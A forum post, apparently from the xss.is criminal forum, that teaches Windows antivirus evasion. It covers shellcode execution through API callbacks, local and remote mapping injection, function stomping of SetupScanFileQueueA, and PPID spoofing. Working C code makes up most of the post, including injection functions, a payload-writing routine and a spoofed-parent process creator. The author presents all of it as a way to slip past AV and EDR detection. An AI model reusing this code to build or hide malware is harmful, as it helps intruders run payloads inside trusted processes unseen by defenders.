Updated Antivirus Evasion Part 5.2

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
I am cryptneeded author of this post writing this article for xss.is member.


What We Going To Cover:

1. callback code execution.
2. local mapping injections.
3. remote mapping injection
4. Local Function Stomping Injcetion.

5. PPID Spoofing.

CallBack Function:

callback function will be used to perform action on an particular condition was meet and satisfied. they are using in different ways in our window operating system, some of them is window management, events handling, multithreading.
a callback function is basically an code in application which help unmanaged dll to complete task. now this time calls to call function was pass indirectly from our managed application from a dll function.

COMPLETE DEEPDIVE INTO THE CONCEPT OF WINDOW API CALLBACK:
now this time the call back function is an one of the crucial programming concept we can say in this concept function will be passed an argument to the other function. and it will allow the second function to execute later. in our operating system specially windows contains many many programs that allow or accept callback functions.

WHY AND WHERE WINDOW USE THE CALLBACK FUNCTIONS:
the first one is GUI event handling then we have timer and schedule tasks and then thread management.

HOW RED TEAMERS OR PENTESTERS USE THE CALLBACK EXECUTIONS:
the red team expert or aan pentester or any hacker will register an legit api function which can expect callback it will pass an malicious thing (we can say our shellcode) and then the end it will trigger the functions to execute the payload.

lets understand one function CreateTimerQueueTimer why mostly attackers utilize this because the function will use to set timer for executions of functions with there time of expire.

the attacker will set there malicious code or we can say it will register a payload with an callback function and then it will executed on there time.

CallBack Function:

callback function will be used to perform action on an particular condition was meet and satisfied. they are using in different ways in our window operating system, some of them is window management, events handling, multithreading.
a callback function is basically an code in application which help unmanaged dll to complete task. now this time calls to call function was pass indirectly from our managed application from a dll function.

ABUSING CALL BACK FUNCTION:
window callback function will be called or will be executed via function pointer. to execute our payload the address of the payload need to pass of callback function pointer. now the callback will replace an CreateThread winapi we discuss alot about apis in previous blogs you can check out there. basically there is no need to pass an proper parameters.

the main noticeable thing is callback function will only work in localprocess it can not be perform via remote code injections.

SAMPLE OF CALLBACK:
CreateTimerQueueTimer;s 3 one parameter
here is the callback function proof of concept.
Код: Скопировать в буфер обмена
Код:
BOOL CreateTimerQueueTimer(
  [out]          PHANDLE             phNewTimer,
  [in, optional] HANDLE              TimerQueue,
  [in]           WAITORTIMERCALLBACK Callback,      // here
  [in, optional] PVOID               Parameter,
  [in]           DWORD               DueTime,
  [in]           DWORD               Period,
  [in]           ULONG               Flags
);

EnumChildWindows's 2nd parameter:

Код: Скопировать в буфер обмена
Код:
BOOL EnumChildWindows(
  [in, optional] HWND        hWndParent,
  [in]           WNDENUMPROC lpEnumFunc,    // here
  [in]           LPARAM      lParam
);

EnumUILanguagesW's 1st parameter:
Код: Скопировать в буфер обмена
Код:
BOOL EnumUILanguagesW(
  [in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc,     // here
  [in] DWORD                dwFlags,
  [in] LONG_PTR             lParam
);

VerifierEnumerateResource's 4th parameter:

Код: Скопировать в буфер обмена
Код:
ULONG VerifierEnumerateResource(
  HANDLE                           Process,
  ULONG                            Flags,
  ULONG                            ResourceType,
  AVRF_RESOURCE_ENUMERATE_CALLBACK ResourceCallback,     // here
  PVOID                            EnumerationContext
);

now the below section will be talk an complete explanations of these functions. the payload which will be used as an sample will be stored in .text section of binary. this will allow our shellcode to get required RX memory permission without the need of allocate executable memory using VirtualAlloc or any other similiar function.


Using CreateTimerQueueTimer:
CreateTimerQueueTimer will be create an new timer and then add it to an specified timer queue. now the timer is must be an specified using an callback function this is crucial on how the time will expire. the callback function then execute the thread which created by an timer queue.
now the callback will executed by thread created timer queue.
here the snippet that will locate at Payload as our callback function.

Код: Скопировать в буфер обмена
Код:
HANDLE hTimer = NULL;

if (!CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)Payload, NULL, NULL, NULL, NULL)){
    printf("[!] CreateTimerQueueTimer Failed With Error : %d \n", GetLastError());
    return -1;
}

Using EnumChildWindows:
EnumChildWindows will allow an program to enumerate child window of parent window. now this time it will take parent window handle as input and applies on a user-defined callback function of an each child window one at a time.
here is there snippet for code to locate at Payload as an callback function.

Код: Скопировать в буфер обмена
Код:
    if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
        printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());
        return -1;
    }

Using EnumUILanguagesW:
EnumUILanguagesW will enumerate an user interface we also known as UI that will be installed on window system. it will take an callback function as an parameter and then applies the callback function to each ui dont forget as one at a time.
here is the snippet again for thr code to locate an Payload as our callback function

Код: Скопировать в буфер обмена
Код:
    if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME, NULL)) {
        printf("[!] EnumUILanguagesW Failed With Error : %d \n", GetLastError());
        return -1;
    }

Using VerifierEnumerateResource:
VerifierEnumerateResource now this will be utilized as an enumerate for an resources in specified module.
VerifierEnumerateResource will be exported from verfifier.dll, thats the reason model should must be an dynamically loaded using LoadLibrary and GetProcAddress winapi for the access of function.
make sure if ResourceType of parameter is not equal to AvrfResourcesHeapAllocation then our payload will not be run.
here is the snippet:

Код: Скопировать в буфер обмена
Код:
HMODULE hModule = NULL;
    fnVerifierEnumerateResource pVerifierEnumerateResource = NULL;

    hModule = LoadLibraryA("verifier.dll");
    if (hModule == NULL){
        printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
        return -1;
    }

    pVerifierEnumerateResource = GetProcAddress(hModule, "VerifierEnumerateResource");
    if (pVerifierEnumerateResource == NULL) {
        printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
        return -1;
    }

    // Must set the AvrfResourceHeapAllocation flag to run the payload
    pVerifierEnumerateResource(GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload, NULL);

Local Mapping Injections:
till far all the models and techniquies we learn was mostly focused on an private memory used to store our payload while execution. private memory allocation using VirtualAlloc or we can say via VirtualAllocEx.

local mapping injection is the most comman and we can say its an stealthy injection point to evade avs this technique in simple words we can say the red teamers will inject there code into any other process simple definition. but we will nit utilize the old already red flaged apis like virtualAlloc or createremotethread . this was good and batter way to evade avs because we will utilize the mapped memory .

DEEP DIVE WORKING:
first we will create an memeory mapped file. now this memory will play an role of shared memory between the processes.
then we will write our shellcode or we can say the malicious payload into this mapped memory (we will copy or shellcode to this mapped memory in simple words) now this time we will not utilizing the virtualalloc so now it will not be detected by most of the avs which are using traditional way of scanning.
now we need to mapped the memory into the other process the hacker or red teamer or any pentester will utilize same mapped memory its on them it will get section of any other mapped memory via utilization of NtMapViewOfSection.
then finally we will execute the payload since our payload is in the mapped spaces it will not get trigger easily.

Advantages of an local Mapping Injections:
no doubt its an stealthy way to evade the avs and then there is no direct modification of the process.in simple word we can say this method will not modify the memory via using old traditional apis.
now this method will be used as an both local and remote injections we will see soon this.

Now in Conclusion we can say the attackers will utilize this way to bypass traditional antivirus scans and to give stealthy mechanism to our code.

Mapped Memory:
the process which we utilizing in previour techniquies was in highly monitored by security soltuions we called them avs or edrs. to avoid this common issues mapping injection will be used as Mapped memory type using different apis like CreateFileMapping or MapViewOfFile.

Local Mapping Injection:
now this section will be explain the winapis which will be required to perform an local mapping injection.

CreateFileMapping:
CreateFileMapping will create an file mapping object that will give access to the content of the file from memory mapping technique.
it will allow an process to create an virtual memory space. and the function will returns an handle to the file of an mapping object.

now the important parameters which we use in this technique will be explained here.

Код: Скопировать в буфер обмена
Код:
HANDLE CreateFileMappingA(
  [in]           HANDLE                hFile,
  [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,     // Not Required - NULL
  [in]           DWORD                 flProtect,
  [in]           DWORD                 dwMaximumSizeHigh,           // Not Required - NULL
  [in]           DWORD                 dwMaximumSizeLow,
  [in, optional] LPCSTR                lpName                       // Not Required - NULL
);

1 hFile it will an handle for a file from which create a file mapping handle.
INVALID_HANDLE_VALUE flag can be used .

MapViewOfFile:
MapViewOfFile is an maps a view of an file mapping object into the base address space of a process. it will takes an handle to file mapping object and then desired access rights and will return the a pointer of beginning of mapping process.

Код: Скопировать в буфер обмена
Код:
LPVOID MapViewOfFile(
  [in] HANDLE     hFileMappingObject,
  [in] DWORD      dwDesiredAccess,
  [in] DWORD      dwFileOffsetHigh,           // Not Required - NULL
  [in] DWORD      dwFileOffsetLow,            // Not Required - NULL
  [in] SIZE_T     dwNumberOfBytesToMap
);

the important parameters which utilized in this technique was explained here:
hFileMappingObjecct: will return an handle from CreateFileMapping
dwDesiredAccess its an type of access to file mapping object.
FILE_MAP_WRITE will flags to return and valid executable and writeable memory.
dwNumberOfBytesToMap will an size of payload.

LocalMapping Injection Function:
LocalMapInject is an function will perform local mapping injection.
pPayload will be an our base address.
sPayloadSize was an size of the payload
ppAddress an pointer to PVOID that will received the mapped memory address.

Код: Скопировать в буфер обмена
Код:
BOOL LocalMapInject(IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {

    BOOL   bSTATE         = TRUE;
    HANDLE hFile          = NULL;
    PVOID  pMapAddress    = NULL;


    // Create a file mapping handle with RWX memory permissions
    // This does not allocate RWX view of file unless it is specified in the subsequent MapViewOfFile call
    hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
    if (hFile == NULL) {
        printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    // Maps the view of the payload to the memory
    pMapAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sPayloadSize);
    if (pMapAddress == NULL) {
        printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }
 
    // Copying the payload to the mapped memory
    memcpy(pMapAddress, pPayload, sPayloadSize);
 
_EndOfFunction:
    *ppAddress = pMapAddress;
    if (hFile)
        CloseHandle(hFile);
    return bSTATE;
}

UnmapViewOfFile:
UnmapViewOfFile is a WinAPI that is used to unmap previously mapped memory,


REMOTE MAPPING INJECTION:
this time the approach is same but we will utilize an remote process.

Remote Mapping Injection:
now remote mapping injection as an much advance technique in all the previous model which we covered. its my thinking may be any other was your desired injection way. like an local mapping injection which do in same process remote mapping injection will operates process will make them definitely more stealthy via executed in trusted process like explorer.exe etc.

now this time an red teamer or hacker will create the section via utilization of NtCreateSection. now this time this section will be utilized as an shared space. then the attacker or an red teamer will write the shellcode or there payload into process using the function which we discussed NtMapViewOfSection.now the attacker will handle the target process via utilizing OpenProcess function. and then simple the execution of an payload remotely its an over view of what we will do every code will describe below .

the disadvantage which i fount is few edrs will have scan for NtMapViewOfSection process so it will become detected against modern edrs and avs.

let me first explain the important apis first which we will utilize in our code.
CreateFileMapping it will be called to create an file mapping object.
MapViewOfFile will be utilized then to map the file mapping object into the local process address space.
then the payload will be moved locally allocated memory.
then an new view file will mapped into the remote address space of the target process.

MapViewOfFile2
MapViewOfFile2 maps a view of a file into the address space

Код: Скопировать в буфер обмена
Код:
PVOID MapViewOfFile2(
  [in]           HANDLE  FileMappingHandle,   // Handle to the file mapping object returned by CreateFileMappingA/W
  [in]           HANDLE  ProcessHandle,       // Target process handle
  [in]           ULONG64 Offset,              // Not required - NULL
  [in, optional] PVOID   BaseAddress,         // Not required - NULL
  [in]           SIZE_T  ViewSize,            // Not required - NULL
  [in]           ULONG   AllocationType,      // Not required - NULL
  [in]           ULONG   PageProtection       // The desired page protection.
);


FileMappingHandle -is an HANDLE to a section that is to be mapped into the address of an specified process.
ProcessHandle - is an HANDLE to a process into which the section will be mapped. must have the PROCESS_VM_OPERATION access mask.
PageProtection - The desired page protection.

Remote Mapping Injection Function
RemoteMapInject is a function that performs remote mapping injection. It takes 4 arguments:
hProcess - an handle to the target process.
pPayload - will be the payload's base address.
sPayloadSize - is an size of the payload.
ppAddress - pointer to PVOID that receives the mapped memory's base address.

Код: Скопировать в буфер обмена
Код:
BOOL RemoteMapInject(IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {

    BOOL        bSTATE            = TRUE;
    HANDLE      hFile             = NULL;
    PVOID       pMapLocalAddress  = NULL,
                pMapRemoteAddress = NULL;

    // Create a file mapping handle with RWX memory permissions
    // This does not allocate RWX view of file unless it is specified in the subsequent MapViewOfFile call
    hFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
    if (hFile == NULL) {
        printf("\t[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }
 
    // Maps the view of the payload to the memory
    pMapLocalAddress = MapViewOfFile(hFile, FILE_MAP_WRITE, NULL, NULL, sPayloadSize);
    if (pMapLocalAddress == NULL) {
        printf("\t[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    // Copying the payload to the mapped memory
    memcpy(pMapLocalAddress, pPayload, sPayloadSize);

    // Maps the payload to a new remote buffer in the target process
    pMapRemoteAddress = MapViewOfFile2(hFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);
    if (pMapRemoteAddress == NULL) {
        printf("\t[!] MapViewOfFile2 Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    printf("\t[+] Remote Mapping Address : 0x%p \n", pMapRemoteAddress);

_EndOfFunction:
    *ppAddress = pMapRemoteAddress;
    if (hFile)
        CloseHandle(hFile);
    return bSTATE;
}

UnmapViewOfFile
Recall that UnmapViewOfFile only takes the base address of the mapped view of a file that is to be unmapped.

Local Function Stomping Injcetion:
in this method we will see an new techniquie.

Function Stomping:
here the word stomping showing an overwriting or we can say in simple words replacing the memory function.
basically function stomping is an way in which the original function byte will be replaced with new code.

Stomping injection is another way of injection but instead of allocating memory in any other region we will this time overwrite this is called an stomping in simple words.
or we can say the stomping injection will overwrite the existing thing with our malicious code.

now first we will find an particular location for our target process which we need to overwrite.then we will over write with our malicious code and then simple it will redirect to execute our injected payload.

Advantages of the stomping:
it will give more stealthy detection then other injections. we are not utilisng any other traditional api so it will be something new to traditional detection mechanism.
the only risk we have iss the crashing during my testing i foud many time the process was crashing. and its difficult to utilize because its not like any other traditional mechanism.


Using The Stomped Function:
when the bytes will replaced with the payload the function will not be utilized anymore unless its an specifically payload execution.

Local Function Stomping Code:
now the code which presented below will target the function SetupScanFileQueueA. its an complete random function if it will overwritten the function is exported from Setupapi.dll. so the first step will be an to load Setupapi.dll into local process memory will utilize LOADlIBRARYa.

After this our next step is stomp the function and then replace with the payload. make sure the function will overwritten by marking its memory region as readable and writable. and then at the payload will be written in function address and then virtual protect will be utilized again to mark the region as execution (RX).

Код: Скопировать в буфер обмена
Код:
#define        SACRIFICIAL_DLL          "setupapi.dll"
#define        SACRIFICIAL_FUNC         "SetupScanFileQueueA"


// ...

BOOL WritePayload(IN PVOID pAddress, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

    DWORD    dwOldProtection        = NULL;


    if (!VirtualProtect(pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)){
        printf("[!] VirtualProtect [RW] Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    memcpy(pAddress, pPayload, sPayloadSize);

    if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtect [RWX] Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    return TRUE;
}



int main() {

    PVOID        pAddress    = NULL;
    HMODULE        hModule        = NULL;
    HANDLE        hThread        = NULL;


    printf("[#] Press <Enter> To Load \"%s\" ... ", SACRIFICIAL_DLL);
    getchar();

    printf("[i] Loading ... ");
    hModule = LoadLibraryA(SACRIFICIAL_DLL);
    if (hModule == NULL){
        printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
        return -1;
    }
    printf("[+] DONE \n");



    pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
    if (pAddress == NULL){
        printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
        return -1;
    }


    printf("[+] Address Of \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);


    printf("[#] Press <Enter> To Write Payload ... ");
    getchar();
    printf("[i] Writing ... ");
    if (!WritePayload(pAddress, Payload, sizeof(Payload))) {
        return -1;
    }
    printf("[+] DONE \n");



    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();

    hThread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);

    printf("[#] Press <Enter> To Quit ... ");
    getchar();

    return 0;

}


Inserting DLL into an Binary:
instead of calling an dll using simple approach loadlibrary and then retrive the target function address with an GetProcAddress. its also an possible to statically link the dll in an binary using the pragama comment compiler.

Код: Скопировать в буфер обмена
#pragma comment (lib, "Setupapi.lib"

the target function will now retrived using the address-of-operator like SetupScanFileQueueA.
here is the code:

Код: Скопировать в буфер обмена
Код:
#pragma comment (lib, "Setupapi.lib") // Adding "setupapi.dll" to the Import Address Table

// ...


int main() {

    HANDLE        hThread            = NULL;


    printf("[+] Address Of \"SetupScanFileQueueA\" : 0x%p \n", &SetupScanFileQueueA);


    printf("[#] Press <Enter> To Write Payload ... ");
    getchar();
    printf("[i] Writing ... ");
    if (!WritePayload(&SetupScanFileQueueA, Payload, sizeof(Payload))) { // Using the address-of operator
        return -1;
    }
    printf("[+] DONE \n");



    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();

    hThread = CreateThread(NULL, NULL, SetupScanFileQueueA, NULL, NULL, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);

    printf("[#] Press <Enter> To Quit ... ");
    getchar();

    return 0;

}

wwwwwww.png




this type of techniques was not just an proof of concept and very import via theoretical plus practical this methods play an important roles in both offensive approach and defensive approach

i will list down few famous c2 frame works and other tools which utilizing this concepts
one of them which we all now is our cobalt strike then meterpreter and silverc2.

and we all now this things aree used to bypass or manipulate the avs

lets see the common issues and detection for an c2 frameworks.
1. network traffic analysis the security teams and edrs will monitor the network for unusual behavior.
2. behavior detection most of the edrs now redflag the apis which normally used by new hackers or pentesters who gatting started with c2 framework games.
3. now in new and advance industry use honeypots for the hackers.
4. at the last how can i forget the myth of detections of logs system whats happening who enter who exit.

PPID Spoofing:

ppif spoofing is known as parent process id spoofing in this method the attacker or pentester or any type of hacker will manipulate the parent process. ppid allow the red teamers or security researchers to change the ppid of new created process to make it looks like an leit process. this was an new way offcourse it will help to get rid of detection.

now this time we will create an new process with pppid modifications in normal condtions when the process was develop it will utilize the CreateProcessA it inherit the ppid of calling process. window also give us an option to do manually via STARTUPINFOEX

STARTUPINFOEXA Structure
now STARTUPINFOEXA structer is here:


Код: Скопировать в буфер обмена
Код:
typedef struct _STARTUPINFOEXA {
  STARTUPINFOA                 StartupInfo;
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; // Attributes List
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;


Initializing The Attributes List:

Код: Скопировать в буфер обмена
Код:
BOOL InitializeProcThreadAttributeList(
  [out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [in]            DWORD                        dwAttributeCount,
                  DWORD                        dwFlags,         // NULL (reserved)
  [in, out]       PSIZE_T                      lpSize
);

now Initializing The Attributes List function will be discudded here:

Код: Скопировать в буфер обмена
Код:
BOOL UpdateProcThreadAttribute(
  [in, out]       LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,   // return value from InitializeProcThreadAttributeList
  [in]            DWORD                        dwFlags,           // NULL (reserved)
  [in]            DWORD_PTR                    Attribute,
  [in]            PVOID                        lpValue,           // pointer to the attribute value
  [in]            SIZE_T                       cbSize,            // sizeof(lpValue)
  [out, optional] PVOID                        lpPreviousValue,   // NULL (reserved)
  [in, optional]  PSIZE_T                      lpReturnSize       // NULL (reserved)
);

PPID Spoofing Function
CreatePPidSpoofedProcess is a function that creates a process with a spoofed PPID. The function takes 5 arguments:

hParentProcess : handle of process that will become parent of newly process.

lpProcessName : name of the process to create.

dwProcessId : pointer to a DWORD that receives the newly created process's PID.

hProcess : pointer to a HANDLE that receives a handle to the newly created process.

hThread : pointer to a HANDLE that receives a handle to the newly created process's thread.


Код: Скопировать в буфер обмена
Код:
BOOL CreatePPidSpoofedProcess(IN HANDLE hParentProcess, IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {

    CHAR                               lpPath               [MAX_PATH * 2];
    CHAR                               WnDr                 [MAX_PATH];

    SIZE_T                             sThreadAttList       = NULL;
    PPROC_THREAD_ATTRIBUTE_LIST        pThreadAttList       = NULL;

    STARTUPINFOEXA                     SiEx                = { 0 };
    PROCESS_INFORMATION                Pi                  = { 0 };

    RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA));
    RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

    // Setting the size of the structure
    SiEx.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
        printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
        return FALSE;
    }
   
    sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
   
    //-------------------------------------------------------------------------------
   
    // This will fail with ERROR_INSUFFICIENT_BUFFER, as expected
    InitializeProcThreadAttributeList(NULL, 1, NULL, &sThreadAttList);  

    // Allocating enough memory
    pThreadAttList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sThreadAttList);
    if (pThreadAttList == NULL){
        printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Calling InitializeProcThreadAttributeList again, but passing the right parameters
    if (!InitializeProcThreadAttributeList(pThreadAttList, 1, NULL, &sThreadAttList)) {
        printf("[!] InitializeProcThreadAttributeList Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    if (!UpdateProcThreadAttribute(pThreadAttList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) {
        printf("[!] UpdateProcThreadAttribute Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Setting the LPPROC_THREAD_ATTRIBUTE_LIST element in SiEx to be equal to what was
    // created using UpdateProcThreadAttribute - that is the parent process
    SiEx.lpAttributeList = pThreadAttList;

    //-------------------------------------------------------------------------------

    if (!CreateProcessA(
        NULL,
        lpPath,
        NULL,
        NULL,
        FALSE,
        EXTENDED_STARTUPINFO_PRESENT,
        NULL,
        NULL,
        &SiEx.StartupInfo,
        &Pi)) {
        printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
        return FALSE;
    }


    *dwProcessId    = Pi.dwProcessId;
    *hProcess        = Pi.hProcess;
    *hThread        = Pi.hThread;


    // Cleaning up
    DeleteProcThreadAttributeList(pThreadAttList);
    CloseHandle(hParentProcess);

    if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
        return TRUE;

    return FALSE;
}
123456.png




Thank You
 
Сверху Снизу